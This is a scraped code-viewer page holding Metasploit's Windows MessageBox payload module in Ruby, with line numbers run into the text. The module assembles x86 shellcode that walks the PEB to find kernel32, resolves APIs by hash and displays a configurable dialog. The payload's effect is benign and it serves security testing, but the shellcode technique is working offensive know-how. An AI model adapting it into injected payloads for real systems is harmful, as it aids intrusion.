Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/messagebox.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 27289include Msf::Payload::Windows10include Msf::Payload::Single1112def initialize(info = {})13super(merge_info(info,14'Name' => 'Windows MessageBox',15'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon',16'Author' =>17[18'corelanc0d3r <peter.ve[at]corelan.be>', # original payload module19'jduck' # some ruby factoring20],21'License' => MSF_LICENSE,22'Platform' => 'win',23'Arch' => ARCH_X8624))2526# Register MessageBox options27register_options(28[29OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ], max_length: 255),30OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ], max_length: 255),31OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ])32])33end3435#36# Construct the payload37#38def generate(_opts = {})3940strTitle = datastore['TITLE'] + "X"41if (strTitle.length < 1)42raise ArgumentError, "You must specify a title"43end4445strText = datastore['TEXT'] + "X"46if (strText.length < 1)47raise ArgumentError, "You must specify the text of the MessageBox"48end4950# exitfunc process or thread ?51stackspace = "0x04"52funchash = ""53doexitseh = ""54case datastore['EXITFUNC'].upcase.strip55when 'PROCESS'56stackspace = "0x08"57funchash = "0x73E2D87E"58when 'THREAD'59stackspace = "0x08"60funchash = "0x60E0CEEF"61end6263# create exit routine for process / thread64getexitfunc = <<EOS65;base address of kernel32 will be at esp,66mov ebx,#{funchash}67xchg ebx, dword [esp]68push edx69call find_function70;store function address at ebx+0871mov [ebp+0x8],eax72EOS7374doexit = <<EOS75xor eax,eax ;zero out eax76push eax ;put 0 on stack77call [ebp+8] ;ExitProcess/Thread(0)78EOS7980# if exit is set to seh or none, overrule81if datastore['EXITFUNC'].upcase.strip == "SEH"82# routine to exit via exception83doexit = <<EOS84xor eax,eax85call eax86EOS87getexitfunc = ''88elsif datastore['EXITFUNC'].upcase.strip == "NONE"89doexit = <<-EOS90nop91EOS92getexitfunc = ''93end9495# Generate code to get ptr to Title96marker_idx = strTitle.length - 197strPushTitle = string_to_pushes(strTitle, marker_idx)98# generate code to write null byte99strWriteTitleNull = "xor ebx,ebx\n\tmov [esp+0x#{marker_idx.to_s(16)}],bl\n\tmov ebx,esp\n\t"100101#================Process Text===============================102marker_idx = strText.length - 1103strPushText = string_to_pushes(strText, marker_idx)104strWriteTextNull = "xor ecx,ecx\n\tmov [esp+0x#{marker_idx.to_s(16)}],cl\n\tmov ecx,esp\n\t"105106# generate code to set messagebox icon107setstyle = "push edx\n\t"108case datastore['ICON'].upcase.strip109#default = NO110when 'ERROR'111setstyle = "push 0x10\n\t"112when 'QUESTION'113setstyle = "push 0x20\n\t"114when 'WARNING'115setstyle = "push 0x30\n\t"116when 'INFORMATION'117setstyle = "push 0x40\n\t"118end119120#create actual payload121payload_data = <<EOS122;getpc routine123fldpi124fstenv [esp-0xc]125xor edx,edx126mov dl,0x77 ;offset to start_main127128;get kernel32129xor ecx,ecx130mov esi, [fs:ecx + 0x30]131mov esi, [esi + 0x0C]132mov esi, [esi + 0x1C]133next_module:134mov eax, [esi + 0x08]135mov edi, [esi + 0x20]136mov esi, [esi]137cmp [edi + 12*2], cl138jne next_module139140pop ecx141add ecx,edx142jmp ecx ;jmp start_main143144find_function:145pushad ;save all registers146mov ebp, [esp + 0x24] ;put base address of module that is being loaded in ebp147mov eax, [ebp + 0x3c] ;skip over MSDOS header148mov edx, [ebp + eax + 0x78] ;go to export table and put relative address in edx149add edx, ebp ;add base address to it.150;edx = absolute address of export table151mov ecx, [edx + 0x18] ;set up counter ECX152;(how many exported items are in array ?)153mov ebx, [edx + 0x20] ;put names table relative offset in ebx154add ebx, ebp ;add base address to it.155;ebx = absolute address of names table156157find_function_loop:158jecxz find_function_finished ;if ecx=0, then last symbol has been checked.159;(should never happen)160;unless function could not be found161dec ecx ;ecx=ecx-1162mov esi, [ebx + ecx * 4] ;get relative offset of the name associated163;with the current symbol164;and store offset in esi165add esi, ebp ;add base address.166;esi = absolute address of current symbol167168compute_hash:169xor edi, edi ;zero out edi170xor eax, eax ;zero out eax171cld ;clear direction flag.172;will make sure that it increments instead of173;decrements when using lods*174175compute_hash_again:176lodsb ;load bytes at esi (current symbol name)177;into al, + increment esi178test al, al ;bitwise test :179;see if end of string has been reached180jz compute_hash_finished ;if zero flag is set = end of string reached181ror edi, 0xd ;if zero flag is not set, rotate current182;value of hash 13 bits to the right183add edi, eax ;add current character of symbol name184;to hash accumulator185jmp compute_hash_again ;continue loop186187compute_hash_finished:188189find_function_compare:190cmp edi, [esp + 0x28] ;see if computed hash matches requested hash191; (at esp+0x28)192;edi = current computed hash193;esi = current function name (string)194jnz find_function_loop ;no match, go to next symbol195mov ebx, [edx + 0x24] ;if match : extract ordinals table196;relative offset and put in ebx197add ebx, ebp ;add base address.198;ebx = absolute address of ordinals address table199mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)200mov ebx, [edx + 0x1c] ;get address table relative and put in ebx201add ebx, ebp ;add base address.202;ebx = absolute address of address table203mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal204;and put in eax205add eax, ebp ;add base address.206;eax = absolute address of function address207mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad208;will return function address in eax209find_function_finished:210popad ;restore original registers.211;eax will contain function address212ret213214start_main:215mov dl,#{stackspace}216sub esp,edx ;allocate space on stack217mov ebp,esp ;set ebp as frame ptr for relative offset218mov edx,eax ;save base address of kernel32 in edx219220push 0xEC0E4E8E ;get LoadLibrary function ptr221push edx222call find_function223;put function address on stack (ebx+04)224mov [ebp+0x4],eax225#{getexitfunc} ;optionally get selected exit function ptr226227;put pointer to string user32.dll to stack228push 0x41206c6c229push 0x642e3233230push 0x72657375 ;user32.dll231xor bl,bl ;make sure we have a null byte232mov [esp+0xA],bl ;null byte233mov esi,esp ;put pointer to string on top of stack234push esi235call [ebp+0x4] ;call LoadLibrary236; base address of user32.dll is now in eax (if loaded correctly)237mov edx,eax ;put ptr in edx238push eax ;put it on stack as well239;find the MessageBoxA function240mov ebx, 0xBC4DA2A8241xchg ebx, dword [esp] ;esp = base address of user32.dll242push edx243call find_function244;function address should be in eax now245;we'll keep it there246;get pointer to title247#{strPushTitle}248#{strWriteTitleNull} ;ebx will point to title249;get pointer to text250#{strPushText}251#{strWriteTextNull} ;ecx will point to text252253;now push parameters to the stack254xor edx,edx ;zero out edx255#{setstyle} ;set button/iconstyle on stack256push ebx ;put pointer to Title on stack257push ecx ;put pointer to Text on stack258push edx ;put 0 on stack (hWnd)259call eax ;call MessageBoxA(hWnd,Text,Title,Style)260261;EXITFUNC262#{doexit}263EOS264self.assembly = payload_data265super266end267268#269# Turn the provided string into a serious of pushes270#271def string_to_pushes(str, marker_idx)272# Align string to 4 bytes273rem = (marker_idx+1) % 4274if (rem > 0)275str << " " * (4 - rem)276end277278# string is now 4 byte aligned and ends with 'X' at index 'marker_idx'279280# push string to stack, starting at the back281pushes = ''282while (str.length > 0)283four = str.slice!(-4, 4)284dw = four.unpack('V').first285pushes << "push 0x%x\n\t" % dw286end287288pushes289end290end291292293